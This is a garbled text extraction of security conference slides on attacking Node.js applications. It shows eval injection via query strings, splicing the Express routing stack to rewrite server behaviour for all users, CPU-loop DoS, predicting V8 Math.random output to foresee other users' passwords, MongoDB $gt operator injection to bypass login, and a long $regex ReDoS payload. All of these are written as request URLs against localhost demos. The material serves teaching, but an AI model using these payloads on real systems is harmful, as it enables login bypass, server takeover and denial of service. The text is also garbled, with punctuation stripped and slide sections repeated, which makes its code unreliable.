a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 6: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

DoS

Function sum (p)

for (i=1ilt=p++i)

f=f+i

This makes nodejs highly vulnerable to DoS

httplocalhost49090sump=5

httplocalhost49090sump=100000000

httplocalhost49090sump=5

Nodejs as a web server

There is no hosting web server (IIS Tomcat etchellip) Your code is

responsible for handling the incoming requests

No separation between the web-servicing part and the business

logic part

All run within the same thread within the same context

Nodejs as a web server

var http = require(http)

var server = httpcreateServer(function(req res)

switch (reqmethod)

case POST

var item =

reqon(data function(chunk)

item += chunk

)

reqon(end function()

resend(OKn)

)

break

case GET

)

serverlisten(3000)

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

Traditional web-servers (IIS Tomcat) had strict

separation between the application the server and the

OS

Run-time Server Poisoning

ldquoIn most web servers every request spawns a new

child process and everything happening within that

process is terminated when the process ends

However since the whole Nodejs server is running in

a single thread then if this thread is corrupted then

the behavior of the server can be altered

These modifications will not last just for the duration of

the corrupting request but for all subsequent

requestsrdquo

httplabcsttueedl93 -

Analysis of Nodejs platform web application security

Karl Duumluumlna

Eval

EVALuates a string At the context of the current applicative

user within the context of the application

In netjava eval canrsquot control the web server or other usersrsquo

threads

Nodejs is serverless so corrupting ldquocurrentrdquo thread harms

all users

Express

Expressjs is a Nodejs web application framework

designed for building single-page multi-page and hybrid

web applications[1]

wikipedia

Example code

appget(add function(reqres) var data=reqquery return resrender(index message eval(reqquerya + + + reqqueryb))

httpserveradda=3ampb=8

11

Routing

httplocalhost49090adda=3ampb=8

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Add

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Server Routing

The stack is accessible in runtime

app_routerstack

httplocalhost49090adda=3ampb=JSONstringify(

app_routerstack)

Run-time Server Poisoning

The stack is accessible in runtime ndash both read and

write ndash so we will replace the existing routing with

a new one

This will affect all users connecting to the system

with no apparent effect on the source code

Server Routing

Maintained in an ordered list (although called

ldquostackrdquo by express)

Routing Stack

Remove

pageid

abd

Func1()

Func2()

Func3()

Func4()

Add Add

Func5()

Server Routing

app_routerstacksplice(31) remove routing entry

appget(addfunction(req res) add new routing

return resrender(index

message reqquerya reqqueryb

)

)

Server Routing

httplocalhost49090adda=3ampb=8

httplocalhost49090adda=3ampb=app_routerstacksplice

(31)appget(27add2720function(req20res)20

7breturn20resrender(27index27207bmessag

e20reqquerya2020reqqueryb7d)7d)

httplocalhost49090adda=3ampb=8

Questions

Page 7: The Node.js Highway: Attacks are at Full Throttle · applications (DB queries) and applications with a lot of user interaction (web apps) • Doesn’t work well for CPU intensive

Nodejs as a web server

There is no hosting web server (IIS Tomcat etchellip) Your code is

responsible for handling the incoming requests

No separation between the web-servicing part and the business

logic part

All run within the same thread within the same context

Nodejs as a web server

var http = require(http)

var server = httpcreateServer(function(req res)

switch (reqmethod)

case POST

var item =

reqon(data function(chunk)

item += chunk

)

reqon(end function()

resend(OKn)

)

break

case GET

)

serverlisten(3000)

V8rsquos default PRNG

V8rsquos default PRNG

V8 PRNG is known to be weak

For example check Amit Kleinrsquos

httpdlpacketstormsecuritynetpapersgeneralGoogle_Chrome_30_Beta_Mathr

andom_vulnerabilitypdf

Seed State0[01]

State1[01]

State2[01]

State3[01]

Staten[01]

Random0

Random1

Random2

Randomn

Random3

V8rsquos default PRNG

Given 3 ldquorandomrdquo new passwords ndash we will be able to tell all future ones

First we need to ldquoreverserdquo the MD5 for 3 passwords to their original ldquorandomrdquo float

number Then we need to compute the ldquostaterdquo variable to get the 4th consecutive

value

V8rsquos default PRNG

The parameters of the algorithm are modified by Google every few releases but the

algorithm looks similar to the following (the actual value is then divided by 2^32)

httpscodegooglecompv8sourcebrowsetags31459srcv8ccr=14773

Random number generator using George Marsaglias MWC algorithm

static uint32_t random_base(uint32_t state)

Initialize seed using the system random()

No non-zero seed will ever become zero again

if (state[0] == 0) seed_random(state)

Mix the bits Never replaces state[i] with 0 if it is nonzero

state[0] = 18273 (state[0] amp 0xFFFF) + (state[0] gtgt 16)

state[1] = 36969 (state[1] amp 0xFFFF) + (state[1] gtgt 16)

return (state[0] ltlt 14) + (state[1] amp 0x3FFFF)

V8rsquos default PRNG

Given 3 consecutive random numbers the values of state[0] and state[1] can be

inferred ndash hence all future values can be known in advance

But

In browsers each tab has its own set of ldquostaterdquo variables Thatrsquos one of the reasons

this issue is treated as low-severity

But

In nodejs all users are running within the same context Each user can tell what

are the values of the global ldquostaterdquo variables

Step 1

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

Register FakeUser1

Register FakeUser2

Register FakeUser3

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

Step2

FakeUser1 ndash Clear Random

FakeUser1 Password

FakeUser2 Password

FakeUser3 Password

Reminder

Password = MD5(random())

FakeUser2 ndash Clear Random

FakeUser3 ndash Clear Random

RealUser1 ndash Future Password

DEMO

Architecture

MongoDB is a document-oriented database Classified as

NoSQL and as such doesnrsquot use the traditional table-bases

structure as relational-databases Instead it stores JSON

documents in its dynamic schemas

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

Architecture

dbproductsinsert( item card qty 15 )

dbproductsinsert( name ldquoelephant size 1700 )

dbproductsinsert

dbproductsfind

dbproductsfind() - Find all of them

dbproductsfind( qty 15 ) - Find based on equality

dbproductsfind( qty $gt 25 ) - Find based on criteria

Data is inserted and stored as JSON

Queries as described using JSON

var obj

objqty=15

dbproductsfind(obj)

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

hellip

If exists hellip

Security ndash User Supplied Data bull Can you spot the vulnerabilities in the

code

bull Fix

25

QueryString -gt Object -gt JSON

reswrite(JSONstringify(reqquery))

Query String Reqquery JSON of the object

created

httplocalhost11111a=b

Obja = ldquobrdquo ab

httplocalhost11111a=bampc=d

Obja = ldquobrdquo

Objc = ldquodrdquo

abcd

httplocalhost11111a=bampc=dampa=z Obja[] = ldquobrdquo ldquozrdquo

Objc = ldquodrdquo

a[bz]cd

httplocalhost11111a[5]=bampc=d Obja[] = ldquobrdquo

Objc = ldquodrdquo

a[b]cd

httplocalhost11111a[s]=bampc=d

Objas = ldquobrdquo

Objc = ldquodrdquo

asbcd

QSServerjs

name = reqqueryusername

pass = reqquerypassword

dbusersfind(username name password pass)

Security ndash User Supplied Data

27

What if we use the following query

dbusersfind(username $gt ldquoardquo

password $gt ldquoardquo

Security ndash User Supplied Data

28

dbusersfind(user $gt ldquoardquo

pass $gt ldquoardquo

httpserverpageuser[$gt]=aamppass[$gt]=a

Instead of

objuser = ldquoMatyrdquo

objpass = ldquo123rdquo

We can use

Objuser$gt=ldquoardquo

Objpass$gt=ldquoardquo

JSON-base SQL Injection

bull NodeJS being a JSON based language

can accept JSON values for the find

method

bull A user can bypass it by sending

29

bull httpblogwebsecurifycom201408hacking-nodejs-and-mongodbhtml

httpserverpageuser[$gt]=aamppass[$gt]=a

DEMO

httplocalhost49090user=hiamppass=bye

JSON-base SQL Injection

bull You can use the following

Then

31

dbusersfind(username username)

bcryptcompare(candidatePassword password cb)

Title

JSON-base SQL Injection

bull This can lead to Regular Expression Denial of Service through

the ldquousernamerdquo ldquo$regexrdquo ldquohelliphellip

bull So always validate the input length structure and permitted

characters

bull Remembering that Nodejs is highly sensitive to CPU-intensive

tasks and therersquos a single thread for user-code ndash ReDoS is really

bad

33

dbusersfind(username username)

DEMO

httplocalhost49090user=adminamppass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|

a|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d

|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|

d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$

httplocalhost49090user[$gt]=amppass[$gt]=

Web server

Recap ndash in Nodejs there is no web server

